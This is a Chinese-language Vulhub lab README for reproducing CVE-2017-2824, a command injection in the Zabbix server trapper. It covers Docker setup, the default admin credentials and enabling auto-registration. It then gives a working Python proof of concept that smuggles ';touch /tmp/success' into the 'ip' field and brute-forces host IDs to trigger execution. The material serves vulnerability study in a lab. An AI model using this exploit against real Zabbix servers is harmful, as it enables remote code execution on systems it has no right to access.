Files
vulhub/zabbix/CVE-2017-2824/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

69 lines
2.3 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Zabbix Server Active Proxy Trapper 命令注入漏洞CVE-2017-2824
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。
在Zabbix版本2.0.x 2.0.21之前2.2.x 2.2.18之前2.4.x3.0.x 3.0.9之前或者3.2.x 3.2.5之前Zabbix的server-side trapper命令功能存在一处代码执行漏洞特定的数据包可造成命令注入进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求从而触发漏洞。
参考链接:
- https://talosintelligence.com/reports/TALOS-2017-0325
- https://support.zabbix.com/browse/ZBX-12075
## 环境搭建
执行如下命令启动一个完整的Zabbix 3.0.3环境包含Web端、Server端、1个Agent和Mysql数据库
```
docker compose up -d
```
命令执行后,执行`docker compose ps`查看容器是否全部成功启动,如果没有,可以尝试重新执行`docker compose up -d`
利用该漏洞,需要你服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码`admin/zabbix`登录后台进入Configuration->Actions将Event source调整为Auto registration然后点击Create action创建一个Action名字随意
![](1.png)
第三个标签页创建一个Operationtype是"Add Host"
![](2.png)
保存。这样就开启了自动注册功能攻击者可以将自己的服务器注册为Agent。
## 漏洞复现
使用这个简单的POC来复现漏洞
```python
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
```
这个POC比较初级请多执行几次当查看到如下结果时则说明命令执行成功
![](3.png)
进入server容器可见`/tmp/success`已成功创建:
![](4.png)
有兴趣的同学可以对这个POC进行改进提交Pull Request。